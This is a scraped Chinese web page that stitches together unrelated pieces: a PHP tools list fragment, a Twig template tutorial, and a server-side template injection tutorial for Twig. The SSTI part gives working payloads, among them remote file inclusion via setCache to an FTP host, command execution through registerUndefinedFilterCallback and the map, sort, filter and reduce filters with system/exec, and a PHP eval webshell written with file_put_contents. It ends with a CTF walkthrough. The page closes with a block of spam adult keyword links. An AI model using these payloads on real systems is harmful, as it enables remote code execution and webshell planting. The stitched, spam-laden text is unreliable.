          • Phansible - 一個用Ansible構(gòu)建PHP開發(fā)虛擬機(jī)的web工具


          虛擬機(jī) Virtual Machines

          相關(guān)的PHP虛擬機(jī)

          • HHVM - Facebook出品的PHP虛擬機(jī),Runtime和JIT

          • HippyVM - 另一個PHP虛擬機(jī)

          • Hack - 一個PHP進(jìn)行無縫操作的HHVM編程語言


          集成開發(fā)環(huán)境(IDE) Integrated Development Environment

          支持PHP的集成開發(fā)環(huán)境

          • Netbeans - 一個支持PHP和HTML5的IDE

          • Eclipse for PHP Developers - 一個基于Eclipse平臺的PHP IDE

          • PhpStorm - 一個商業(yè)PHP IDE


          Web應(yīng)用 Web Applications

          基于Web的應(yīng)用和工具

          • 3V4L - 一個在線的PHP和HHVM shell

          • DBV - 一個數(shù)據(jù)庫版本控制應(yīng)用

          • PHP Queue - A一個管理后端隊列的應(yīng)用

          • MailCatcher - 一個抓取和查看郵件的web工具

          • Cachet - 開源狀態(tài)頁面系統(tǒng)


          基礎(chǔ)架構(gòu) Infrastructure

          提供PHP應(yīng)用和服務(wù)的基礎(chǔ)架構(gòu)

          • appserver.io - 一個用PHP寫的多線程的PHP應(yīng)用服務(wù)器

          wig

          一、模板引擎

          模板引擎(Web開發(fā)的模板引擎)是為了用戶界面與業(yè)務(wù)數(shù)據(jù)(內(nèi)容)分離而產(chǎn)生的,它可以生成特定格式文檔,用于網(wǎng)站的模板引擎就會生成一個標(biāo)準(zhǔn)的HTML文檔,其本質(zhì)就是根據(jù)一定的規(guī)則進(jìn)行變量替換。模板引擎可以解耦前后端,提高開發(fā)效率。

          Twig是一款靈活、快速、安全的PHP模板引擎,類似于其他的模板引擎, 如Smarty、Django、Jinja等。每種模板引擎的實(shí)現(xiàn)本質(zhì)是相同的——就是變量替換。

          二、Twig安裝及使用

          目前而言,安裝應(yīng)該都是composer工具安裝。

          composer require "twig/twig:~2.0"
          require_once '/path/to/vendor/autoload.php';
          $loader=new \Twig\Loader\ArrayLoader([
           'index'=> 'Hello {{ name }}!',
          ]);
          $twig=new \Twig\Environment($loader);
          echo $twig->render('index', ['name'=> 'Fabien']);
          

          三、基本語法

          # 輸出變量
          {{ foo }}
          # 判斷
          {% if foo %}
          	{{ foo }}
          {% endif %}
          # for (foo array)
          {% for x in foo %}
          	{{ x }}
          {% endfor %}
          # 格式化(foo array)
          {{ foo | json_encode }}
          # 運(yùn)算
          {{ foo ? true : false }}
          {{ foo + 2 }}
          # html 擴(kuò)展
          {% extends "base.html" %}
          {% block title %}Index{% endblock %}
          {% block head %}
           {{ parent() }}
           <style type="text/css">
           .important { color: #336699; }
           </style>
          {% endblock %}
          {% block content %}
           <h1>Index</h1>
           <p class="important">
           Welcome to my awesome homepage.
           </p>
          {% endblock %}
          

          更多用法請參考官方文檔。

          四、使用場景

          1 目前流行的MVC模式框架的渲染模板

          2 發(fā)送郵件的內(nèi)容渲染模板

          針對第二種使用場景,這里給出業(yè)務(wù)實(shí)際應(yīng)用場景,現(xiàn)在有線上預(yù)警實(shí)時,在發(fā)送異常時要發(fā)送報告郵件,且郵件格式要使用表格,并具備一定的美觀性,這時就可以在發(fā)送郵件時,使用twig處理一下,然后再把處理后的內(nèi)容發(fā)送郵件即可,偽代碼如下:

          # 1 首先引入twig自動加載類,如果是composer安裝則不需要

          require_once(BASE_DIR . '/deploy/framework/Twig/Autoloader.php');
          

          # 2 獲取twig類,使用其render方法

          <?php 
          class Util {
          	/** 
          	 * @return \Twig_Environment
          	 */
          	public static function Twig()
          	{ 
          	 $autoloader=new \Twig_Autoloader();
          	 $autoloader->register(true);
          	 $twig=new \Twig_Environment(new \Twig_Loader_Filesystem(array(
          	 '__main__'=> app()->basePath() . '/views'
          	 )));
          	 return $twig;
          	} 
          }
          

          # 3 代碼中使用

          $twig=Util::Twig(); 
          $context=$twig->render('warning.html', array('foo'=> $foo));
          # 4 warning.html代碼
          <!DOCTYPE html>
          <html lang="zh-cn"
           style="margin: 0;padding:0;width:100%;">
          	<head>
          	 <meta charset="UTF-8">
          	 <meta name="viewport"
          	 content="width=device-width, initial-scale=1.0">
          	 <meta http-equiv="X-UA-Compatible"
          	 content="ie=edge">
          	 <title>實(shí)時監(jiān)控預(yù)警郵件</title>
          	</head>
          	<body>
          		{{ foo }}
          	</body>
          </html>
          

          歡迎一起交流學(xué)習(xí)!

          參考文檔

          1 twig官方文檔,https://twig.symfony.com/doc/2.x/

          2 smarty 模板引擎 https://www.smarty.net/files/docs/manual-en-2.6.pdf

          3 https://blog.csdn.net/cjqh_hao/article/details/99172960

          么是SSTI

          SSTI:開局一張圖,姿勢全靠y


          SSTI,即服務(wù)器端模板注入(Server-Side Template Injection)

          常見的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代碼注入,命令注入等等。sql注入已經(jīng)出世很多年了,對于sql注入的概念和原理很多人應(yīng)該是相當(dāng)清楚了,SSTI也是注入類的漏洞,其成因其實(shí)是可以類比于sql注入的。

          sql注入的成因是從用戶獲得一個輸入后,經(jīng)過后端腳本語言進(jìn)行數(shù)據(jù)庫查詢,這時我們就可以構(gòu)造輸入語句來進(jìn)行拼接,從而實(shí)現(xiàn)我們想要的sql語句

          SSTI也是如此,不過SSTI是在服務(wù)端接收了輸入后,將其作為web應(yīng)用模板內(nèi)容的一部分,在進(jìn)行目標(biāo)編譯渲染的過程中,將惡意語句進(jìn)行了拼接,因此可能造成敏感信息泄露、代碼執(zhí)行、getshell等問題

          在這我會簡單以常見的Twig模板引擎進(jìn)行演示,有所遺漏錯誤,歡迎各位師傅們進(jìn)行補(bǔ)充糾正

          模板引擎

          模板是一種提供給程序進(jìn)行解析的一種語法,從初始數(shù)據(jù)到實(shí)際的視覺表達(dá)靠的就是這一項(xiàng)工作所實(shí)現(xiàn)的,且這種手段是同時存在于前后端的

          常見的模板引擎有

          1.php 常用的

          Smarty

          Smarty算是一種很老的PHP模板引擎了,非常的經(jīng)典,使用的比較廣泛

          Twig

          Twig是來自于Symfony的模板引擎,它非常易于安裝和使用。它的操作有點(diǎn)像Mustache和liquid。

          Blade

          Blade 是 Laravel 提供的一個既簡單又強(qiáng)大的模板引擎。

          和其他流行的 PHP 模板引擎不一樣,Blade 并不限制你在視圖中使用原生 PHP代碼。所有 Blade 視圖文件都將被編譯成原生的 PHP 代碼并緩存起來,除非它被修改,否則不會重新編譯,這就意味著 Blade基本上不會給你的應(yīng)用增加任何額外負(fù)擔(dān)。

          2.Java 常用的

          JSP

          這個引擎我想應(yīng)該沒人不知道吧,這個應(yīng)該也是我最初學(xué)習(xí)的一個模板引擎,非常的經(jīng)典

          FreeMarker

          FreeMarker是一款模板引擎:即一種基于模板和要改變的數(shù)據(jù),并用來生成輸出文本(HTML網(wǎng)頁、電子郵件、配置文件、源代碼等)的通用工具。它不是面向最終用戶的,而是一個Java類庫,是一款程序員可以嵌入他們所開發(fā)產(chǎn)品的組件。

          Velocity

          Velocity作為歷史悠久的模板引擎不單單可以替代JSP作為JavaWeb的服務(wù)端網(wǎng)頁模板引擎,而且可以作為普通文本的模板引擎來增強(qiáng)服務(wù)端程序文本處理能力。

          3.Python 常用的

          Jinja2

          flask jinja2 一直是一起說的,使用非常的廣泛,是我學(xué)習(xí)的第一個模板引擎

          django

          django 應(yīng)該使用的是專屬于自己的一個模板引擎,我這里姑且就叫他 django,我們都知道django 以快速開發(fā)著稱,有自己好用的ORM,他的很多東西都是耦合性非常高的,你使用別的就不能發(fā)揮出 django 的特性了

          tornado

          tornado 也有屬于自己的一套模板引擎,tornado 強(qiáng)調(diào)的是異步非阻塞高并發(fā)

          形形色色的模板引擎為了達(dá)到渲染效果,總會對用戶輸入有所處理,這也就給攻擊者提供了道路,盡管模板引擎也會相應(yīng)提供沙箱機(jī)制進(jìn)行保護(hù),但是也存在沙箱逃逸技術(shù)可以進(jìn)行繞過

          攻擊思路

          找到模板是什么模板引擎,是哪個版本的,然后設(shè)法利用模板的內(nèi)置方法,進(jìn)行rce、getshell

          PHP-Twig

          Twig 被許多開源項(xiàng)目使用,比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM;許多框架也支持 Twig,比如 Slim、Yii、Laravel 和 Codeigniter 等等。

          本地復(fù)現(xiàn)可以用composer搭建

          • 在Twig引擎中,我們可以通過下面方法獲得一些關(guān)于當(dāng)前應(yīng)用的信息(雖然經(jīng)常會被ban就是...)
          {{_self}} #指向當(dāng)前應(yīng)用
          {{_self.env}}
          {{dump(app)}}
          {{app.request.server.all|join(',')}}

          基礎(chǔ)語法

          模板其實(shí)就是一個文本文件,它可以生成我們需要的任何基于文本的格式文件(html、xml、csv等)

          它也沒有特別的拓展后綴名,.html、.xml、.twig都可

          這里主要講一些我們在利用時會用到的基礎(chǔ)知識

          變量

          應(yīng)用程序?qū)⒆兞總魅肽0逯羞M(jìn)行處理,變量可以包含你能訪問的屬性或元素。你可以使用 . 來訪問變量中的屬性(方法或 PHP 對象的屬性,或 PHP 數(shù)組單元),Twig還支持訪問PHP數(shù)組上的項(xiàng)的特定語法, foo['bar']

          {{ foo.bar }}
          {{ foo['bar'] }}

          全局變量

          模板中始終提供以下變量:

          • _self :引用當(dāng)前模板名稱;(在twig1.x和2.x/3.x作用不一)
          • _context :引用當(dāng)前上下文;
          • _charset :引用當(dāng)前字符集。

          設(shè)置變量

          可以為代碼塊內(nèi)的變量賦值。賦值使用set標(biāo)簽:

          {% set foo='foo' %}
          {% set foo=[1, 2] %}
          {% set foo={'foo': 'bar'} %}

          過濾器

          變量可以修改為 過濾器 . 過濾器與變量之間用管道符號隔開 (| ). 可以鏈接多個過濾器。一個過濾器的輸出應(yīng)用于下一個過濾器。

          下面的示例從 name 標(biāo)題是:

          {{ name|striptags|title }}

          接受參數(shù)的篩選器在參數(shù)周圍有括號。此示例通過逗號連接列表中的元素:

          {{ list|join }}
          {{ list|join(', ') }}
          ?
          // {{ ['a', 'b', 'c']|join }}
          // Output: abc
          ?
          // {{ ['a', 'b', 'c']|join('|') }}
          // Output: a|b|c

          若要對代碼部分應(yīng)用篩選器,請使用apply標(biāo)簽:

          {% apply upper %}
             This text becomes uppercase
          {% endapply %}

          過濾器有很多,但是我們常用的一般就map、sortfilter、reduce

          更多內(nèi)置過濾器請參考:https://twig.symfony.com/doc/3.x/filters/index.html

          控制結(jié)構(gòu)

          控制結(jié)構(gòu)是指所有控制程序流的東西-條件句(即 if/elseif/else/ for)循環(huán),以及程序塊之類的東西??刂平Y(jié)構(gòu)出現(xiàn)在 {{% ... %}}

          例如,要顯示在名為 users 使用for標(biāo)簽:

          <h1>Members</h1>
          <ul>
            {% for user in users %}
                 <li>{{ user.username|e }}</li>
            {% endfor %}
          </ul>

          if標(biāo)記可用于測試表達(dá)式:

          {% if users|length > 0 %}
             <ul>
                {% for user in users %}
                     <li>{{ user.username|e }}</li>
                {% endfor %}
             </ul>
          {% endif %}

          更多 tags 請參考:https://twig.symfony.com/doc/3.x/tags/index.html

          函數(shù)

          在 Twig 模板中可以直接調(diào)用函數(shù),用于生產(chǎn)內(nèi)容。如下調(diào)用了 range() 函數(shù)用來返回一個包含整數(shù)等差數(shù)列的列表:

          {% for i in range(0, 3) %}
            {{ i }},
          {% endfor %}
          ?
          // Output: 0, 1, 2, 3,

          更多內(nèi)置函數(shù)請參考:https://twig.symfony.com/doc/3.x/functions/index.html

          注釋

          要在模板中注釋某一行,可以使用注釋語法 {# ...#}

          {# note: disabled template because we no longer use this
            {% for user in users %}
                ...
            {% endfor %}
          #}

          引入其他模板

          Twig 提供的 include 函數(shù)可以使你更方便地在模板中引入模板,并將該模板已渲染后的內(nèi)容返回到當(dāng)前模板

          {{ include('sidebar.html') }}

          模板繼承

          Twig最強(qiáng)大的部分是模板繼承。模板繼承允許您構(gòu)建一個基本的“skeleton”模板,該模板包含站點(diǎn)的所有公共元素并定義子模版可以覆寫的 blocks 塊。

          從一個例子開始更容易理解這個概念。

          讓我們定義一個基本模板, base.html ,它定義了可用于兩列頁面的HTML框架文檔:

          <!DOCTYPE html>
          <html>
            <head>
                {% block head %}
                    <link rel="stylesheet" href="style.css"/>
                    <title>{% block title %}{% endblock %} - My Webpage</title>
                {% endblock %}
            </head>
            <body>
                <div id="content">{% block content %}{% endblock %}</div>
                <div id="footer">
                    {% block footer %}
                        ? Copyright 2011 by <a href="http://domain.invalid/">you</a>.
                    {% endblock %}
                </div>
            </body>
          </html>

          在這個例子中,block標(biāo)記定義了子模板可以填充的四個塊。所有的 block 標(biāo)記的作用是告訴模板引擎子模板可能會覆蓋模板的這些部分。

          子模板可能如下所示:

          {% extends "base.html" %}
          ?
          {% block title %}Index{% endblock %}
          {% block head %}
            {{ parent() }}
            <style type="text/css">
                .important { color: #336699; }
          </style>
          {% endblock %}
          {% block content %}
            <h1>Index</h1>
            <p class="important">
                Welcome to my awesome homepage.
            </p>
          {% endblock %}

          其中的 extends 標(biāo)簽是關(guān)鍵所在,其必須是模板的第一個標(biāo)簽。extends 標(biāo)簽告訴模板引擎當(dāng)前模板擴(kuò)展自另一個父模板,當(dāng)模板引擎評估編譯這個模板時,首先會定位到父模板。由于子模版未定義并重寫 footer 塊,就用來自父模板的值替代使用了。

          更多 Twig 的語法請參考:https://twig.symfony.com/doc/3.x/

          1.x

          在twig 1.x版本,存在三個全局變量

          • _self:引用當(dāng)前模板實(shí)例
          • _context:引用上下文
          • _charset:引用當(dāng)前字符集

          其相對應(yīng)的代碼如下

          protected $specialVars=[
                 '_self'=> '$this',
                 '_context'=> '$context',
                 '_charset'=> '$this->env->getCharset()',
            ];

          在twig 1.x中,主要利用的是_self變量,它會返回當(dāng)前 \Twig\Template 實(shí)例,并提供了指向 Twig_Environmentenv 屬性,這樣我們就可以繼續(xù)調(diào)用 Twig_Environment 中的其他方法

          payload

          {{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}}

          通過調(diào)用setCache方法改變twig加載php的路徑,在allow_url_include開啟的條件下,我們就可以實(shí)現(xiàn)遠(yuǎn)程文件包含

          在getFilter方法中存在call_user_func回調(diào)函數(shù),通過傳入?yún)?shù)我們可以借此調(diào)用任意函數(shù)

          #getFilter
          public function getFilter($name)
          {
            ...
             foreach ($this->filterCallbacks as $callback) {
             if (false !==$filter=call_user_func($callback, $name)) {
               return $filter;
            }
          }
           return false;
          }
          ?
          public function registerUndefinedFilterCallback($callable)
          {
           $this->filterCallbacks[]=$callable;
          }
          ?
          {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
          // Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

          但以上漏洞都只存在于1.x,在后續(xù)版本中,_self只會返回當(dāng)前實(shí)例名字符串

          2.x&3.x

          在這里我用twig3.x+php7.3.4作為示例

          用PHP的API調(diào)用twig

          index.php

          <?php
          require_once "./vendor/autoload.php";
          ?
          $loader=new \Twig\Loader\ArrayLoader([
             'index'=> 'Hello {{ name }}!',
          ]);
          $twig=new \Twig\Environment($loader);
          ?
          ?
          $template=$twig->createTemplate("Hello {$_GET['name']}!");
          ?
          echo $template->render();

          在twig2.x/3.x中,_self不再像1.x時那么有他獨(dú)特的作用,但是也相應(yīng)更新了一些特殊方法來供我們利用

          map過濾器

          map

          這個 map 過濾器將箭頭函數(shù)應(yīng)用于序列或映射的元素。arrow函數(shù)接收序列或映射的值:

          {% set people=[
          {first: "Bob", last: "Smith"},
          {first: "Alice", last: "Dupond"},
          ] %}

          {{ people|map(p=> "#{p.first} #{p.last}")|join(', ') }}
          {# outputs Bob Smith, Alice Dupond #}

          arrow函數(shù)還接收密鑰作為第二個參數(shù):

          {% set people={
          "Bob": "Smith",
          "Alice": "Dupond",
          } %}

          {{ people|map((last, first)=> "#{first} #{last}")|join(', ') }}
          {# outputs Bob Smith, Alice Dupond #}

          注意arrow函數(shù)可以訪問當(dāng)前上下文。

          可以看出允許用戶傳一個arrow 函數(shù),arrow 函數(shù)最后會變成一個closure

          舉個例子

          當(dāng)我們傳入

          {{["man"]|map((arg)=>"hello #{arg}")}}

          在模板中會被編譯為

          twig_array_map([0=> "id"], function ($__arg__) use ($context, $macros) { $context["arg"]=$__arg__; return ("hello " . ($context["arg"] ?? null))

          map所對應(yīng)的函數(shù)如下

          function twig_array_map($array $arrow)
          {
             $r=[];
             foreach ($array as $k=> $v) {
                 $r[$k]=$arrow($v $k);
            }
          ?
             return $r;
          }

          我們可以看到,傳入的 $arrow 直接就被當(dāng)成函數(shù)執(zhí)行,即 $arrow($v, $k),而 $v$k 分別是 $array 中的 value 和 key

          所以$array$arrow都是我們可控的,那我們就可以找到有兩個參數(shù)的、可以實(shí)現(xiàn)命令執(zhí)行的危險函數(shù)來進(jìn)行rce

          經(jīng)過查詢,有如下幾種常見命令執(zhí)行函數(shù)

          system ( string $command [, int &$return_var ] ) : string
          passthru ( string $command [, int &$return_var ] )
          exec ( string $command [, array &$output [, int &$return_var ]] ) : string
          shell_exec ( string $cmd ) : string

          有兩個參數(shù)的函數(shù)就上面三種,其對應(yīng)payload

          {{["whoami"]|map("system")}}
          {{["whoami"]|map("passthru")}}
          {{["whoami"]|map("exec")}}    // 無回顯

          但是當(dāng)上面的都被ban了呢,我們還有沒有其他方法rce

          當(dāng)然,例如

          file_put_contents ( string $filename , mixed $data [, int $flags=0 [, resource $context ]] ) : int

          當(dāng)我們找到路徑后就可以利用該函數(shù)進(jìn)行寫shell了

          ?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\phpstudy_pro\WWW\shell.php"}|map("file_put_contents")}}

          根據(jù)map過濾器的利用思路,我們可以再找到其他類似的,帶有$arrow參數(shù)的

          sort過濾器

          sort

          這個 sort 篩選器對數(shù)組排序:

          {% for user in users|sort %}
          ...
          {% endfor %}

          注解

          在內(nèi)部,Twig使用PHP asort 函數(shù)來維護(hù)索引關(guān)聯(lián)。它通過將可遍歷對象轉(zhuǎn)換為數(shù)組來支持這些對象。

          您可以傳遞一個箭頭函數(shù)來對數(shù)組進(jìn)行排序:

          {% set fruits=[
          { name: 'Apples', quantity: 5 },
          { name: 'Oranges', quantity: 2 },
          { name: 'Grapes', quantity: 4 },
          ] %}

          {% for fruit in fruits|sort((a, b)=> a.quantity <=> b.quantity)|column('name') %}
          {{ fruit }}
          {% endfor %}

          {# output in this order: Oranges, Grapes, Apples #}

          注意 spaceship 運(yùn)算符來簡化比較。

          類似于map,sort在模板編譯時也會進(jìn)入twig_sort_filter 函數(shù)

          function twig_sort_filter($array, $arrow=null)
          {
             if ($array instanceof \Traversable) {
                 $array=iterator_to_array($array);
            } elseif (!\is_array($array)) {
                 throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
            }
          ?
             if (null !==$arrow) {
                 uasort($array, $arrow);    // 直接被 uasort 調(diào)用
            } else {
                 asort($array);
            }
          ?
             return $array;
          }
          uasort ( array &$array , callable $value_compare_func ) : bool

          可以看到,$array$arrow直接被uasort調(diào)用

          uasort會將數(shù)組中的元素按照鍵值進(jìn)行排序,當(dāng)我們自定義一個危險函數(shù)時,就可能造成rce

          這樣我們就可以構(gòu)造payload了

          {{["id", 0]|sort("system")}}
          {{["id", 0]|sort("passthru")}}
          {{["id", 0]|sort("exec")}}    // 無回顯

          filter過濾器

          filter

          這個 filter 過濾器使用箭頭函數(shù)過濾序列或映射的元素。arrow函數(shù)接收序列或映射的值:

          {% set sizes=[34, 36, 38, 40, 42] %}

          {{ sizes|filter(v=> v > 38)|join(', ') }}
          {# output 40, 42 #}

          for 標(biāo)記,它允許篩選要迭代的項(xiàng):

          {% for v in sizes|filter(v=> v > 38) -%}
          {{ v }}
          {% endfor %}
          {# output 40 42 #}

          它也適用于映射:

          {% set sizes={
          xs: 34,
          s: 36,
          m: 38,
          l: 40,
          xl: 42,
          } %}

          {% for k, v in sizes|filter(v=> v > 38) -%}
          {{ k }}={{ v }}
          {% endfor %}
          {# output l=40 xl=42 #}

          arrow函數(shù)還接收密鑰作為第二個參數(shù):

          {% for k, v in sizes|filter((v, k)=> v > 38 and k !="xl") -%}
          {{ k }}={{ v }}
          {% endfor %}
          {# output l=40 #}

          注意arrow函數(shù)可以訪問當(dāng)前上下文。

          類似于map,filter在模板編譯時也會進(jìn)入twig_array_filter 函數(shù)

          function twig_array_filter($array, $arrow)
          {
             if (\is_array($array)) {
                 return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);    // $array 和 $arrow 直接被 array_filter 函數(shù)調(diào)用
            }
          ?
             // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
             return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
          }
          ?
          array_filter ( array $array [, callable $callback [, int $flag=0 ]] ) : array

          可以看到和前面方法類似,我們實(shí)驗(yàn)一下

          得到payload

          {{["id"]|filter("system")}}
          {{["id"]|filter("passthru")}}
          {{["id"]|filter("exec")}}    // 無回顯
          ?
          {{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|filter("file_put_contents")}}    // 和map過濾器一樣可以寫 Webshell

          reduce 過濾器

          reduce

          這個 reduce filter使用arrow函數(shù)迭代地將序列或映射縮減為單個值,從而將其縮減為單個值。arrow函數(shù)接收上一次迭代的返回值和序列或映射的當(dāng)前值:

          {% set numbers=[1, 2, 3] %}

          {{ numbers|reduce((carry, v)=> carry + v) }}
          {# output 6 #}

          這個 reduce 過濾器需要 initial 值作為第二個參數(shù):

          {{ numbers|reduce((carry, v)=> carry + v, 10) }}
          {# output 16 #}

          注意arrow函數(shù)可以訪問當(dāng)前上下文。

          直接來看函數(shù)

          function twig_array_reduce($array, $arrow, $initial=null)
          {
             if (!\is_array($array)) {
                 $array=iterator_to_array($array);
            }
          ?
             return array_reduce($array, $arrow, $initial);    // $array, $arrow 和 $initial 直接被 array_reduce 函數(shù)調(diào)用
          }
          ?
          array_reduce ( array $array , callable $callback [, mixed $initial=NULL ] ) : mixed

          可以看到array_reduce是有三個參數(shù)的

          $array$arrow 直接被 array_filter 函數(shù)調(diào)用,我們可以利用該性質(zhì)自定義一個危險函數(shù)從而達(dá)到rce

          剛開始還是像前面一樣構(gòu)造

          {{["id", 0]|reduce("passthru")}}

          但是發(fā)現(xiàn)沒有執(zhí)行成功,原因是第一次調(diào)用的是

          passthru($initial, "id")

          因?yàn)?span style="background-color: #F3F4F4; --tt-darkmode-bgcolor: #BDBEBE;">$initial為null,所以會報錯,我們想要對他進(jìn)行賦值才行

          payload

          {{[0, 0]|reduce("system", "id")}}
          {{[0, 0]|reduce("passthru", "id")}}
          {{[0, 0]|reduce("exec", "id")}}    // 無回顯

          題目

          • [BJDCTF2020]Cookie is so stable

          進(jìn)入發(fā)現(xiàn)一個flag按鈕和一個hint按鈕點(diǎn)擊hint發(fā)現(xiàn)源碼有hint

          返回訪問flag.php

          經(jīng)過簡單測試猜測為twig(傳入{{7*'7'}}后Jinja2輸出7777777,Twig輸出49

          同時發(fā)現(xiàn)在cookie是我們的輸入點(diǎn),開始查看是什么版本的twig,用_self來測試

          cookie
          user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

          twig1.x,我們直接cat /flag試試

          cookie
          user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}


          基本思路還是測試出為哪個模板,哪個版本,測試payload即可

          后言

          SSTI 并不廣泛存在,但如果開發(fā)人員濫用模板引擎,那么就很有可能出現(xiàn)SSTI,并且根據(jù)其模板引擎的復(fù)雜性和開發(fā)語言的特性,很大幾率會出現(xiàn)非常嚴(yán)重的問題

          聯(lián)想到最近的log4j2漏洞,與SSTI類似,都是將用戶的輸入當(dāng)作可信任內(nèi)容,這才出現(xiàn)了大大小小的安全問題

          一句話總結(jié):永遠(yuǎn)不要相信用戶的輸入


          主站蜘蛛池模板: 亚洲一区中文字幕在线观看| 国内国外日产一区二区| 日本高清一区二区三区| 曰韩精品无码一区二区三区| 亚洲AⅤ无码一区二区三区在线 | 日本精品一区二区三区四区| 一区二区三区四区在线观看视频 | 精品国产AⅤ一区二区三区4区 | 中文字幕日韩一区二区不卡| 国产AⅤ精品一区二区三区久久| 国产丝袜美女一区二区三区 | 午夜福利无码一区二区 | 日本一区二区三区在线网| 精品性影院一区二区三区内射| 久久精品中文字幕一区| 日韩精品一区二区三区中文3d| 精品乱子伦一区二区三区| 九九无码人妻一区二区三区| 国产精品视频分类一区| 国产爆乳无码一区二区麻豆| 国精产品一区一区三区免费视频| 日亚毛片免费乱码不卡一区| 亚洲Av无码国产一区二区| 亚洲一区二区在线免费观看| 亚洲伦理一区二区| 国产91大片精品一区在线观看| 日韩精品无码一区二区三区| 无码国产精品一区二区免费式直播 | 在线免费观看一区二区三区| 国99精品无码一区二区三区| 激情综合丝袜美女一区二区| 精品永久久福利一区二区| 久久精品中文字幕一区| 色欲AV无码一区二区三区| 国产一区二区三区小说| 无码国产精品一区二区免费虚拟VR | 久久se精品一区二区国产| 伊人色综合网一区二区三区 | 日韩毛片一区视频免费| 国产成人av一区二区三区在线 | 国产成人片视频一区二区|